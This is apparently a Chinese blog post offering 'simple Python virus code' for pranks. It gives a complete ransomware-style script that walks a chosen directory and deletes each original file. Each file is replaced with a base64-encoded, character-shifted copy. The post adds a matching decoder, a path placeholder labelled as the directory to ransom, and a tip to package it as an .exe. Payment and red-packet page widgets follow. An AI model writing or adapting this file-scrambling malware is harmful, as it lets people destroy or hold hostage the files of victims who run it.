python简单的病毒编程代码,如何用python做恶搞病毒

大家好,给大家分享一下python简单的病毒编程代码,很多人还不知道这一点。下面详细解释一下。现在让我们来看看!

  • 前置


def list(src):
    res = []
    for root, dirs, files in os.walk(src): #获取父目录,子目录,文件
        for file in files:
            # 获取文件所属目录
            # print(root)
            # 获取文件路径
            res.append(os.path.join(root, file)) #把父目录和文件合成一个路径
    return res
  • 加密


def ran_encode(res):
    for r in res:
        # print(re)
        with open(r, 'rb') as fp:
            src = fp.read()
        bs = base64.b64encode(src).decode()   #读取并用base64加密
        se = ''
        for b in bs:
            new = chr(ord(b) + 5)   #转换成acsii码进行位移
            se += new
        # print(type(re))
        os.remove(r)
        name = '123'
        with open(r+name, 'wb') as fp:   #覆写
            fp.write(se.encode())
  • 解密


def ran_decode(res):
    for r in res:
        with open(r, 'r') as fp:
            src = fp.read()
        se = ''
        for b in src:
            new = chr(ord(b) - 5)
            se += new
        resp = base64.b64decode(se)
        s=r[0:-3]
        os.remove(r)
        with open(s,'wb') as fp:
            fp.write(resp)
path=r"需要勒索的目录,绝对路径"
def intes():
    res=list(path)
    ran_encode(res)
def outs():
    src1 = list(path)
    ran_decode(src1)
  • 可以使用python打包的扩展包变成.exe文件进行尝试

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值